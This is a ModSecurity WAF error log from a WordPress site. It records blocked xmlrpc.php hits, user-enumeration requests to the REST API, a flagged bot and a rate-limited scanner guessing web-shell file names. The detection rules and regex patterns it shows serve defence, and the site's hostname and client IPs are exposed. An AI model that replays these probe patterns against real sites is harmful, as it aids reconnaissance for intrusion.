[Sat Apr 11 03:27:12.473126 2026] [:error] [pid 21568:tid 21591] [client 213.133.104.36:33746] [client 213.133.104.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.133.104.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlPEIiz5v_ljZxkpR8A0gAAARM"]
[Sat Apr 11 03:28:59.864392 2026] [:error] [pid 21569:tid 21653] [client 64.23.172.230:59886] [client 64.23.172.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.23.172.230, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlPe3AvQTgvXJ6vHorD0gAAAIg"]
[Sat Apr 11 03:30:24.378951 2026] [:error] [pid 21569:tid 21653] [client 43.167.232.38:58916] [client 43.167.232.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adlP0HAvQTgvXJ6vHorEfwAAAIg"]
[Sat Apr 11 03:31:22.142025 2026] [:error] [pid 21568:tid 21594] [client 192.250.227.63:41540] [client 192.250.227.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.227.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlQCoiz5v_ljZxkpR8C5wAAARY"]
[Sat Apr 11 03:32:40.121925 2026] [:error] [pid 55451:tid 55462] [client 116.74.226.56:59853] [client 116.74.226.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.74.226.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlQWHApxuyB7yCS5RlWiQAAAMk"]
[Sat Apr 11 03:32:41.779556 2026] [:error] [pid 21568:tid 21575] [client 116.74.226.56:59869] [client 116.74.226.56] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adlQWYiz5v_ljZxkpR8DhgAAAQM"]
[Sat Apr 11 03:32:42.905052 2026] [:error] [pid 21568:tid 21577] [client 116.74.226.56:59869] [client 116.74.226.56] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "adlQWoiz5v_ljZxkpR8DigAAAQU"]
[Sat Apr 11 03:44:09.306873 2026] [:error] [pid 21569:tid 21650] [client 104.37.191.206:38392] [client 104.37.191.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.191.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlTCXAvQTgvXJ6vHorKUwAAAIU"]
[Sat Apr 11 03:45:06.651084 2026] [:error] [pid 55451:tid 55459] [client 213.160.75.126:19868] [client 213.160.75.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.75.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlTQnApxuyB7yCS5Rlf4AAAAMY"]
[Sat Apr 11 03:51:41.320519 2026] [:error] [pid 32208:tid 32226] [client 98.159.37.73:25777] [client 98.159.37.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "adlUzYZ4YzBUDeFI2a8auwAAAM4"]
[Sat Apr 11 03:52:05.904021 2026] [:error] [pid 32076:tid 32148] [client 137.184.37.131:60892] [client 137.184.37.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.37.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlU5TmRTamLnxQisktIrwAAAEg"]
[Sat Apr 11 03:57:47.488705 2026] [:error] [pid 2812:tid 2828] [client 165.227.121.154:39204] [client 165.227.121.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.121.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlWO9mkbBYp4LlMowsA-gAAAM0"]
[Sat Apr 11 04:05:05.140987 2026] [:error] [pid 33172:tid 33230] [client 84.201.130.79:45306] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlX8Tn2G0IJw5EZY9n2FQAAAEw"]
[Sat Apr 11 04:05:35.259382 2026] [:error] [pid 33172:tid 33219] [client 85.128.143.122:36700] [client 85.128.143.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlYDzn2G0IJw5EZY9n2PgAAAEE"]
[Sat Apr 11 04:06:30.090088 2026] [:error] [pid 33288:tid 33303] [client 82.223.24.195:60978] [client 82.223.24.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.24.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlYRmJmwJFFPEgRHfHE8wAAAM0"]
[Sat Apr 11 04:07:22.682764 2026] [:error] [pid 33171:tid 33193] [client 213.133.104.36:41854] [client 213.133.104.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.133.104.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlYeroqTMlo30hcVw8huAAAAAc"]
[Sat Apr 11 04:11:31.601324 2026] [:error] [pid 33173:tid 33256] [client 162.222.34.234:43588] [client 162.222.34.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.222.34.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlZc68109xRDP2izWiEpwAAAIs"]
[Sat Apr 11 04:14:26.300478 2026] [:error] [pid 33173:tid 33246] [client 4.245.205.135:47317] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BhqKs28Cw94.php"] [unique_id "adlaIq8109xRDP2izWiGugAAAIE"]
[Sat Apr 11 04:14:27.105547 2026] [:error] [pid 33172:tid 33226] [client 4.245.205.135:45962] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BhqKs28Cw94.php"] [unique_id "adlaIzn2G0IJw5EZY9n6rAAAAEg"]
[Sat Apr 11 04:14:27.716924 2026] [:error] [pid 33173:tid 33247] [client 4.245.205.135:14571] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BhqKs28Cw94.php"] [unique_id "adlaI68109xRDP2izWiGvAAAAII"]
[Sat Apr 11 04:14:28.378005 2026] [:error] [pid 33173:tid 33263] [client 4.245.205.135:56053] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BhqKs28Cw94.php"] [unique_id "adlaJK8109xRDP2izWiGwAAAAJI"]
[Sat Apr 11 04:14:28.954708 2026] [:error] [pid 33288:tid 33295] [client 4.245.205.135:56048] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cdn3.php"] [unique_id "adlaJGJmwJFFPEgRHfHLYwAAAMU"]
[Sat Apr 11 04:14:29.534972 2026] [:error] [pid 33172:tid 33242] [client 4.245.205.135:23081] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cdn3.php"] [unique_id "adlaJTn2G0IJw5EZY9n6twAAAFg"]
[Sat Apr 11 04:14:30.110129 2026] [:error] [pid 33172:tid 33233] [client 4.245.205.135:2736] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cdn3.php"] [unique_id "adlaJjn2G0IJw5EZY9n6vAAAAE8"]
[Sat Apr 11 04:14:30.685925 2026] [:error] [pid 33172:tid 33232] [client 4.245.205.135:53550] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cdn3.php"] [unique_id "adlaJjn2G0IJw5EZY9n6wgAAAE4"]
[Sat Apr 11 04:14:31.312168 2026] [:error] [pid 33172:tid 33238] [client 4.245.205.135:52403] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlaJzn2G0IJw5EZY9n6xAAAAFQ"]
[Sat Apr 11 04:14:32.036422 2026] [:error] [pid 33288:tid 33301] [client 4.245.205.135:2748] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlaKGJmwJFFPEgRHfHLbwAAAMs"]
[Sat Apr 11 04:14:32.575972 2026] [:error] [pid 33288:tid 33300] [client 4.245.205.135:52367] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlaKGJmwJFFPEgRHfHLdQAAAMo"]
[Sat Apr 11 04:14:32.860040 2026] [:error] [pid 33288:tid 33295] [client 204.48.18.182:59948] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adlaKGJmwJFFPEgRHfHLeAAAAMU"]
[Sat Apr 11 04:14:33.183104 2026] [:error] [pid 33288:tid 33312] [client 4.245.205.135:41711] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlaKWJmwJFFPEgRHfHLfAAAANY"]
[Sat Apr 11 04:14:33.845384 2026] [:error] [pid 33172:tid 33235] [client 4.245.205.135:46027] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/beerd.php"] [unique_id "adlaKTn2G0IJw5EZY9n6yAAAAFE"]
[Sat Apr 11 04:14:34.567365 2026] [:error] [pid 33171:tid 33187] [client 4.245.205.135:14540] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/beerd.php"] [unique_id "adlaKroqTMlo30hcVw8kdQAAAAE"]
[Sat Apr 11 04:14:35.176965 2026] [:error] [pid 33171:tid 33186] [client 4.245.205.135:36574] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/beerd.php"] [unique_id "adlaK7oqTMlo30hcVw8keAAAAAA"]
[Sat Apr 11 04:14:35.762428 2026] [:error] [pid 33172:tid 33225] [client 4.245.205.135:45984] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/beerd.php"] [unique_id "adlaKzn2G0IJw5EZY9n60AAAAEc"]
[Sat Apr 11 04:14:36.471681 2026] [:error] [pid 33171:tid 33197] [client 4.245.205.135:36605] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hhxc.php"] [unique_id "adlaLLoqTMlo30hcVw8kewAAAAs"]
[Sat Apr 11 04:14:37.111598 2026] [:error] [pid 33288:tid 33311] [client 4.245.205.135:41682] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hhxc.php"] [unique_id "adlaLWJmwJFFPEgRHfHLkAAAANU"]
[Sat Apr 11 04:14:37.792903 2026] [:error] [pid 33173:tid 33248] [client 4.245.205.135:46031] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hhxc.php"] [unique_id "adlaLa8109xRDP2izWiG2gAAAIM"]
[Sat Apr 11 04:14:39.553204 2026] [:error] [pid 33172:tid 33227] [client 4.245.205.135:15524] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hhxc.php"] [unique_id "adlaLzn2G0IJw5EZY9n62AAAAEk"]
[Sat Apr 11 04:14:40.149166 2026] [:error] [pid 33173:tid 33263] [client 4.245.205.135:41668] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/161dfd072f.php"] [unique_id "adlaMK8109xRDP2izWiG5wAAAJI"]
[Sat Apr 11 04:14:40.765289 2026] [:error] [pid 33288:tid 33296] [client 4.245.205.135:2718] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/161dfd072f.php"] [unique_id "adlaMGJmwJFFPEgRHfHLpAAAAMY"]
[Sat Apr 11 04:14:41.365981 2026] [:error] [pid 33172:tid 33221] [client 4.245.205.135:36561] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/161dfd072f.php"] [unique_id "adlaMTn2G0IJw5EZY9n63gAAAEM"]
[Sat Apr 11 04:14:42.231404 2026] [:error] [pid 33171:tid 33200] [client 4.245.205.135:46069] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/161dfd072f.php"] [unique_id "adlaMroqTMlo30hcVw8kfQAAAA4"]
[Sat Apr 11 04:14:42.823167 2026] [:error] [pid 33171:tid 33210] [client 4.245.205.135:48595] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "adlaMroqTMlo30hcVw8kfgAAABg"]
[Sat Apr 11 04:14:43.357393 2026] [:error] [pid 33172:tid 33236] [client 4.245.205.135:46638] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "adlaMzn2G0IJw5EZY9n67AAAAFI"]
[Sat Apr 11 04:14:44.413995 2026] [:error] [pid 33288:tid 33306] [client 4.245.205.135:53537] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "adlaNGJmwJFFPEgRHfHLsQAAANA"]
[Sat Apr 11 04:14:45.043510 2026] [:error] [pid 33288:tid 33297] [client 4.245.205.135:2318] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "adlaNWJmwJFFPEgRHfHLuAAAAMc"]
[Sat Apr 11 04:14:45.599679 2026] [:error] [pid 33288:tid 33306] [client 4.245.205.135:32542] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlaNWJmwJFFPEgRHfHLvQAAANA"]
[Sat Apr 11 04:14:46.150383 2026] [:error] [pid 33288:tid 33296] [client 4.245.205.135:40333] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlaNmJmwJFFPEgRHfHLwwAAAMY"]
[Sat Apr 11 04:14:46.759589 2026] [:error] [pid 33288:tid 33308] [client 4.245.205.135:46075] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlaNmJmwJFFPEgRHfHLygAAANI"]
[Sat Apr 11 04:14:47.330612 2026] [:error] [pid 33288:tid 33311] [client 4.245.205.135:46606] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlaN2JmwJFFPEgRHfHL0gAAANU"]
[Sat Apr 11 04:14:47.876169 2026] [:error] [pid 33288:tid 33307] [client 4.245.205.135:13517] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/RIP.php"] [unique_id "adlaN2JmwJFFPEgRHfHL2gAAANE"]
[Sat Apr 11 04:14:48.473312 2026] [:error] [pid 33173:tid 33262] [client 4.245.205.135:52395] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/RIP.php"] [unique_id "adlaOK8109xRDP2izWiG_gAAAJE"]
[Sat Apr 11 04:14:49.477934 2026] [:error] [pid 33173:tid 33248] [client 4.245.205.135:28098] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/RIP.php"] [unique_id "adlaOa8109xRDP2izWiHBAAAAIM"]
[Sat Apr 11 04:14:50.190922 2026] [:error] [pid 33288:tid 33292] [client 4.245.205.135:18489] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/RIP.php"] [unique_id "adlaOmJmwJFFPEgRHfHL8QAAAMI"]
[Sat Apr 11 04:14:50.954195 2026] [:error] [pid 33173:tid 33249] [client 4.245.205.135:15077] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no18.php"] [unique_id "adlaOq8109xRDP2izWiHCgAAAIQ"]
